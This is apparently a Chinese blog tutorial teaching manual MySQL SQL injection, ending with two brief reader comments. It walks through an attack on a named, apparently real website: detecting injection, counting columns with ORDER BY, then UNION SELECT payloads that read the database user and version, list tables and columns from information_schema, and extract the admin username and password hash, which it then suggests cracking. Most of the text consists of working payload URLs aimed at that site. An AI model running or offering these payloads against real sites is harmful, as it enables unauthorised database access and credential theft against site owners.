MySQL是一个关系型数据库管理系统,PHP+MySQL组合的网站可以说占了互联网很大一部份,虽然说很多人可能也用过一些SQL注入工具测试过,例如:Sqlmap。
但是,如果不了解Mysql手工注入及其原理,你就像永远长不大的孩子一样。
一、数据库结构
Msyql数据库和我们前面讲的ACCESS还是有所不同的。两者具体区别如下:
Mysql数据库结构如下:
mysql数据库 -> A数据库 -> 表名 -> 列名 -> 数据
mysql数据库 -> B数据库 -> 表名 -> 列名 -> 数据
Access数据库结构如下:
access数据库 -> 表名 -> 列名 -> 数据
二、Mysql注入实战
由于数据库结构的不同,因此,Mysql注入手法也就有所不同;我们以下面这个网址来做实战:
www.wfiaser.com/product_show.php?id=21
1、判断是否存在注入?and 1=1 和 and 1=2 或 单引号;
www.wfiaser.com/product_show.php?id=21 and 1=1 (返回正常)
www.wfiaser.com/product_show.php?id=21 and 1=2 (返回错误)
www.wfiaser.com/product_show.php?id=21' (返回错误)
从这里可以得到一个结果:存在注入。
2、查询当前页面连接的列名个数: order by
www.wfiaser.com/product_show.php?id=21 order by 1 (返回正常)
www.wfiaser.com/product_show.php?id=21 order by 10 (返回正常)
www.wfiaser.com/product_show.php?id=21 order by 30 (返回错误)
www.wfiaser.com/product_show.php?id=21 order by 28 (返回错误)
www.wfiaser.com/product_show.php?id=21 order by 27 (返回正常)
从这里可以得到,当前页面对应表的列名个数是27;
3、爆出显位:union
这里爆显位可用联合查询来实现,我们可以用一个火狐或谷歌浏览器有一款hackbar插件,可以帮我们解决手工注入问题。
http://www.wfiaser.com/product_show.php?id=21 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
没有报错。
由于上面没有报错,因此显位爆露不出来,我们让它报错,如下:
http://www.wfiaser.com/product_show.php?id=-21 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
可算报错了,得到了显位2、4和显位6;
4、查询参数:主要查数据库名;
User() 查询当前数据库用户
Version() 查询当前数据库版本
Database() 查询当前页面所连接的数据库名称
@@Version_compile_os 查询服务器的系统版本
http://www.wfiaser.com/product_show.php?id=-21 UNION SELECT 1,User(),3,Version(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
http://www.wfiaser.com/product_show.php?id=-21 UNION SELECT 1,Database(),3,@@Version_compile_os,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
从这里可以轻松得到当前数据库用户、当数据库版本、当前页面所连接的数据库名称“sq_wqyh150528”等。
5、查表名:
Mysql数据库中有一个 information_schema 数据库,里面存放了mysql 下所有数据库中的列名和表名信息。就不用像Access数据库那样去猜,有时候还猜不到。
http://www.wfiaser.com/product_show.php?id=-21 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 from information_schema.tables where table_schema=sq_wqyh150528
注意:这里需要把数据库名称“sq_wqyh150528”做一个16进制编码。可以用小葵多功能转换工具;
http://www.wfiaser.com/product_show.php?id=-21 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 from information_schema.tables where table_schema=73715F77717968313530353238
从这里,可以得到“sq_wqyh150528”数据库里面有很多张表,例如:admin,articles,config_navs,contact等等表。
6、查列名:
http://www.wfiaser.com/product_show.php?id=-21 UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 from information_schema.columns where table_name=admin
注意,这里的表“admin"也要做一个16进制编码,我这就不转了,为了让大家看清楚。
在这里,我们可以得到以下列名,例如:id,name,adminpass,groupid,content等其它列名。
7、查数据:
mysql查数据有点类似于access的联合查询法查数据。
http://www.wfiaser.com/product_show.php?id=-21 UNION SELECT 1,name,3,adminpass,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 from admin
得到了:
用户名:admin
密码:17433b011807e2db950737747752349
很明显,密码是加密过的,然后需要破解,例如:md5破解;
2020年08月17日 20:53:20 沙发
给大家看一下这个mysql payload注入语句:
2019年07月21日 21:49:49 板凳
我在cmd命令窗口,进入mysql后,得这样查询才有效果,要输入双引号或单引号:
1、得到某数据库所有的表名
2、得到某表名的所有的列名